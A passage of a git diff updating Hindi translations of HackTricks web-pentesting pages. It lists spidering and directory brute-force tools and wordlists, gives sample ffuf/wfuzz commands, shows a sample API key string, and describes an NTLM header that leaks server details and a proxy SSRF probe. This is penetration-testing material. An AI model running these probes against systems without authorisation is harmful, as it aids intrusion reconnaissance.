स्पाइडर। -* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML स्पाइडर, JS फ़ाइलों में नए पथ खोजने की क्षमता वाला JS ब्यूटीफाई करने की क्षमता है। इसके लिए [JSScanner](https://github.com/dark-warlord14/JSScanner) की भी एक नज़र देना लायक हो सकता है, जो LinkFinder का एक रैपर है। -* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML स्रोत और एम्बेडेड जावास्क्रिप्ट फ़ाइलों में अंत-बिंदुओं को निकालने के लिए। बग हंटर्स, रेड टीमर्स, इंफोसेक निंजास के लिए उपयोगी। -* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से संबंधित URL पार्स करने के लिए एक पायथन 2.7 स्क्रिप्ट। AJAX अनुरोधों का आसानी से खोजने के लिए उपयोगी। अनुरक्षित लगता है। -* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) दिए गए यूआरएल से उसमें से यूआरएल निकालेगा, जो असुंदर (मिनीफ़ाई) फ़ाइलों से यूआरएल निकालने के लिए निफ़्टी नियमित अभिव्यक्ति का उपयोग करता है। -* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई उपकरण): कई उपकरणों का उपयोग करके JS फ़ाइलों से रुचिकर जानकारी इकट्ठा करें। -* [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलों को खोजें। -* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में -* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt) -* [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) -* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) -* [Assetnote wordlists](https://wordlists.assetnote.io) -* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) -* raft-large-directories-lowercase.txt -* directory-list-2.3-medium.txt -* RobotsDisallowed/top10000.txt -* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists) -* [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries) -* [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll) -* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists) -* _/usr/share/wordlists/dirb/common.txt_ -* _/usr/share/wordlists/dirb/big.txt_ -* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ +* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS फाइलों में LinkFinder और बाहरी स्रोत (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)। +* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS फाइलों के लिए LinkFinder और Archive.org के रूप में बाहरी स्रोत। +* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, "juicy files" का भी संकेत देता है। +* [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML spider। यह Archive.org में भी खोज करता है। +* [**meg**](https://github.com/tomnomnom/meg) (go): यह टूल spider नहीं है लेकिन उपयोगी हो सकता है। आप होस्ट्स की फाइल और पथों की फाइल बता सकते हैं और meg प्रत्येक होस्ट पर प्रत्येक पथ को फेच करेगा और प्रतिक्रिया को सहेजेगा। +* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML spider। हालांकि, यह अनमेंटेन्ड प्रतीत होता है, प्रीकंपाइल्ड संस्करण पुराना है और वर्तमान कोड कंपाइल नहीं होता है। +* [**gau**](https://github.com/lc/gau) (go): बाहरी प्रदाताओं (wayback, otx, commoncrawl) का उपयोग करने वाला HTML spider। +* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट पैरामीटर वाले URLs का पता लगाएगी और उन्हें सूचीबद्ध करेगी। +* [**galer**](https://github.com/dwisiswant0/galer) (go): JS रेंडरिंग क्षमताओं के साथ HTML spider। +* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS फाइलों में नए पथों की खोज करने में सक्षम JS सुंदरता क्षमताओं के साथ HTML spider। [JSScanner](https://github.com/dark-warlord14/JSScanner) पर भी नजर डालने लायक हो सकता है, जो LinkFinder का एक रैपर है। +* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML स्रोत और एम्बेडेड जावास्क्रिप्ट फाइलों दोनों में एंडपॉइंट्स निकालने के लिए। बग हंटर्स, रेड टीमर्स, इन्फोसेक निंजाओं के लिए उपयोगी। +* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): जावास्क्रिप्ट फाइलों से सापेक्ष URLs को पार्स करने के लिए Tornado और JSBeautifier का उपयोग करने वाली पायथन 2.7 स्क्रिप्ट। AJAX अनुरोधों की आसानी से खोज के लिए उपयोगी। अनमेंटेन्ड प्रतीत होता है। +* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): दिए गए फाइल (HTML) से URLs निकालेगा जिसमें बदसूरत (minify) फाइलों से सापेक्ष URLs खोजने और निकालने के लिए निफ्टी रेगुलर एक्सप्रेशन का उपयोग होता है। +* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई टूल्स): कई टूल्स का उपयोग करके JS फाइलों से दिलचस्प जानकारी एकत्र करें। +* [**subjs**](https://github.com/lc/subjs) (go): JS फाइलें खोजें। +* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और पृष्ठ को लोड करने के लिए लोड किए गए सभी urls को प्रिंट करें। +* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): कई विकल्पों को मिलाकर सामग्री खोज उपकरण +* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन। +* [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक टूल जो .js.map URL दिया जाएगा और आपको सुंदर JS कोड मिलेगा +* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक टूल है जिसका उपयोग दिए गए लक्ष्य के लिए एंडपॉइंट्स की खोज के लिए किया जाता है। +* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback मशीन से लिंक्स की खोज करें (wayback में प्रतिक्रियाओं को डाउनलोड करना और अधिक लिंक्स की खोज करना भी शामिल है) +* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल (फॉर्म भरकर भी) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी भी खोजें। +* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा Crawler/Spider है जो साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है। +* [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह जावास्क्रिप्ट स्रोत कोड से URLs, पथों, सीक्रेट्स, और अन्य दिलचस्प डेटा निकालने के लिए एक Go पैकेज और [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है। +* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **पैरामीटर्स और एंडपॉइंट्स को निकालने** के लिए अनुरोध से कस्टम वर्डलिस्ट बनाने के लिए है। -_नोट करें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका मिलता है, उसे ब्रूट-फोर्स किया जाना चाहिए।_ +### Brute Force निर्देशिकाएँ और फाइलें -### प्रत्येक मिले फ़ाइल पर क्या जांचना है +रूट फोल्डर से **brute-forcing** शुरू करें और सुनिश्चित करें कि **इस विधि** से पाई गई **सभी** निर्देशिकाओं और **Spidering** द्वारा **खोजी गई** सभी निर्देशिकाओं को brute-force किया जाए (आप इस brute-forcing को **पुनरावृत्ति** कर सकते हैं और पाई गई निर्देशिकाओं के नामों को उपयोग की गई वर्डलिस्ट की शुरुआत में जोड़ सकते हैं)।\ +उपकरण: -* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML में टूटे हुए लिंक ढूंढें जो ले जा सकते हैंडल करने के लिए संवेदनशील हो सकते हैं -* **फ़ाइल बैकअप**: जब आप सभी फ़ाइलों को खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों ("_.php_", "_.aspx_"...) के बैकअप की तलाश करें। बैकअप के लिए सामान्य वेरिएशन हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप टूल [**bfac**](https://github.com/mazen160/bfac) भी उपयोग कर सकते हैं। -* **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे टूल उपयोग कर सकते हैं** छिपे हुए पैरामीटर खोजने के लिए। यदि संभव हो तो, आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं। -* _Arjun सभी डिफ़ॉल्ट शब्द सूचियाँ:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) -* _Param-miner "params":_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) -* _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) -* _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -* **टिप्पणियाँ:** सभी फ़ाइलों की टिप्पणियों की जांच करें, आपको **क्रेडेंशियल** या **छिपी हुई कार्यक्षमता** मिल सकती है। -* यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है कि आप जानकारी को टिप्पणियों में **छिपाएं** और **पृष्ठ** के **दाएं** में (ब्राउज़र के स्रोत कोड को खोलने पर डेटा दिखाई न देने के लिए सैंडविच के सैंडविच के साथ सैंडविच का उपयोग करना)। दूसरा संभावना है कि आप **कई नई पंक्तियों** का उपयोग करके और वेब पृष्ठ के **नीचे** एक टिप्पणी में **छिपी हुई जानकारी** छिपा सकते हैं। -* **API कुंजीः** यदि आपको **कोई API कुंजी मिलती है**, तो एक गाइड है जो दिखाता है कि विभिन्न प्लेटफ़ॉर्मों की API कुंजियों का उपयोग कैसे करें: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -* Google API कुंजीः यदि आपको **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik जैसी कोई API कुंजी मिलती है, तो आप परियो -* कई अवसरों में आपको उपयोग होने वाले **नियमित अभिव्यक्तियों को समझने** की आवश्यकता होगी, इसके लिए यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) -* आप भी **फ़ाइलों की निगरानी कर सकते हैं जहां फॉर्म पाए गए थे**, क्योंकि पैरामीटर में परिवर्तन या नए फॉर्म के दिखने से एक संभावित नई भ्रामक क्षमता की संकेत हो सकता है। - -**403 निषिद्ध / बेसिक प्रमाणीकरण / 401 अनधिकृत (बाईपास)** - -{% content-ref url="403-and-401-bypasses.md" %} -[403-and-401-bypasses.md](403-and-401-bypasses.md) -{% endcontent-ref %} - -**502 प्रॉक्सी त्रुटि** - -यदि कोई पृष्ठ उस कोड के साथ **प्रतिक्रिया करता है**, तो यह शायद एक **बुरी रूप से कॉन्फ़िगर की गई प्रॉक्सी** हो सकती है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हैडर और अन्य सामान्य हैडर के साथ), **प्रॉक्सी** गूगल.कॉम **तक पहुँचने की कोशिश करेगी** और आपने एक SSRF खोज ली होगी। - -**NTLM प्रमाणीकरण - जानकारी विस्तार** - -यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आपको अपने **प्रमाणपत्र** के लिए लॉगिन मिलता है (और **डोमेन** **नाम** के लिए पूछता है), तो आप एक **जानकारी विस्तार** को प्रेरित कर सकते हैं।\ -**हेडर** भेजें: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और NTLM प्रमाणीकरण कैसे काम करता है, सर्वर हेडर "WWW-Authenticate" में आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया करेगा।\ -आप इसे "_http-ntlm-info.nse_" नामक **nmap प्लगइन** का उपयोग करके स्वचालित रूप से कर सकते हैं। - -**HTTP रीडायरेक्ट (CTF)** - -एक **रीडायरेक्शन** में सामग्री **डालना संभव** है। यह सामग्री **उपयोगकर्ता को दिखाई नहीं देगी** (क्योंकि ब्राउज़र रीडायरेक्शन को क्रियान्वित करेगा) लेकिन इसमें कुछ **छिपा सकता है**। - -### वेब दुर्बलताओं की जांच - -अब जब वेब एप्लिकेशन का व्यापक गणना पूरी कर ली गई है, तो अनेक संभावित दुर्बलताओं की जांच करने का समय है। आप यहां चेकलिस्ट पा सकते हैं: - -{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %} -[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/) -{% endcontent-ref %} - -करने के लिए [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) और [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html), [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) के साथ दुर्बलताओं और तकनीकों की सूची पूरी करें - -### पृष्ठों की परिवर्तनों के लिए मॉनिटर करें - -आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरण का उपयोग करके पृष्ठों की परिवर्तनों की निगरानी कर सकते हैं जो दुर्बलताएं डाल सकती हैं। - -### HackTricks स्वचालित आदेश +* **Dirb** / **Dirbuster** - Kali में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। ऑटो-साइन्ड सर्टिफिकेट्स और पुनरावृत्ति खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा। +* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह ऑटो-साइन्ड सर्टिफिकेट्स की अनुमति नहीं देता है लेकिन** पुनरावृत्ति खोज की अनुमति देता है। +* [**Gobuster**](https://github.com/OJ/gobuster) (go): यह ऑटो-साइन्ड सर्टिफिकेट्स की अनुमति देता है, इसमें **पुनरावृत्ति** खोज नहीं है। +* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावृत्ति खोज का समर्थन करता है।** +* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` +* [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +* [**uro**](https://github.com/s0md3v/uro) (python): यह एक spider नहीं है लेकिन एक टूल है जो पाए गए URLs की सूची दी जाती है और "डुप्लिकेट" URLs को हटाने के लिए। +* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): बर्प हिस्ट्री से विभिन्न पृष्ठों की निर्देशिकाओं की सूची बनाने के लिए बर्प एक्सटेंशन +* [**TrashCompactor ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. @@ -372,18 +327,20 @@ Description: Simple Scan with Ffuf for discovering additional vhosts Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters} ``` \ -**बग बाउंटी टिप**: **Intigriti** में **साइन अप** करें, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाया गया है, हैकर्स के लिए**! आज ही हमारे साथ शामिल हों [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), और बाउंटी तक कमाई करना शुरू करें जो **$100,000** तक हो सकती है! +**Bug bounty tip**: **Intigriti** के लिए **साइन अप** करें, एक प्रीमियम **bug bounty प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही हमसे जुड़ें [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर, और **$100,000** तक के bounties कमाना शुरू करें! {% embed url="https://go.intigriti.com/hacktricks" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +htARTE (HackTricks AWS Red Team Expert) के साथ AWS hacking सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert)! -* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण देखना है या HackTricks को PDF में डाउनलोड करना है**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) -* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।** +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपने hacking tricks साझा करें.
diff --git a/network-services-pentesting/pentesting-web/buckets/README.md b/network-services-pentesting/pentesting-web/buckets/README.md index 816db266f..4393abeef 100644 --- a/network-services-pentesting/pentesting-web/buckets/README.md +++ b/network-services-pentesting/pentesting-web/buckets/README.md @@ -1,29 +1,33 @@ -# Buckets +# बकेट्स
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) -* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें -* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **के माध्यम से PR जमा करके साझा करें।** +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
-यदि आप बकेटों के बारे में और अधिक जानना चाहते हैं, तो इस पेज की जांच करें: +यदि आप Buckets की गणना और दुरुपयोग के बारे में अधिक जानना चाहते हैं, तो इस पृष्ठ को देखें: {% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) -* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें -* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **के माध्यम से PR जमा करके साझा करें।** +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
diff --git a/network-services-pentesting/pentesting-web/code-review-tools.md b/network-services-pentesting/pentesting-web/code-review-tools.md index 2df80490f..8e2b3d5c9 100644 --- a/network-services-pentesting/pentesting-web/code-review-tools.md +++ b/network-services-pentesting/pentesting-web/code-review-tools.md @@ -1,31 +1,33 @@ -# स्रोत कोड समीक्षा / SAST उपकरण +# सोर्स कोड रिव्यू / SAST टूल्स
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ! -* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) -* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को** +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**. +* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
-## मार्गदर्शन और उपकरण सूची +## मार्गदर्शन और टूल्स की सूचियाँ * [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools) * [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis) -## बहु-भाषा उपकरण +## मल्टी-लैंग्वेज टूल्स ### [Naxus - AI-Gents](https://www.naxusai.com/) -**PRs की समीक्षा करने के लिए मुफ्त पैकेज** है। +PRs की समीक्षा के लिए एक **निःशुल्क पैकेज** है। ### [**Semgrep**](https://github.com/returntocorp/semgrep) -यह एक **ओपन सोर्स उपकरण** है। +यह एक **ओपन सोर्स टूल** है। #### समर्थित भाषाएँ @@ -33,7 +35,7 @@ | ------------ | ----------------------------------------------------------------------------------------------------- | | GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX | | बीटा | Kotlin · Rust | -| प्रायोगिक | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · | +| प्रायोगिक | Bash 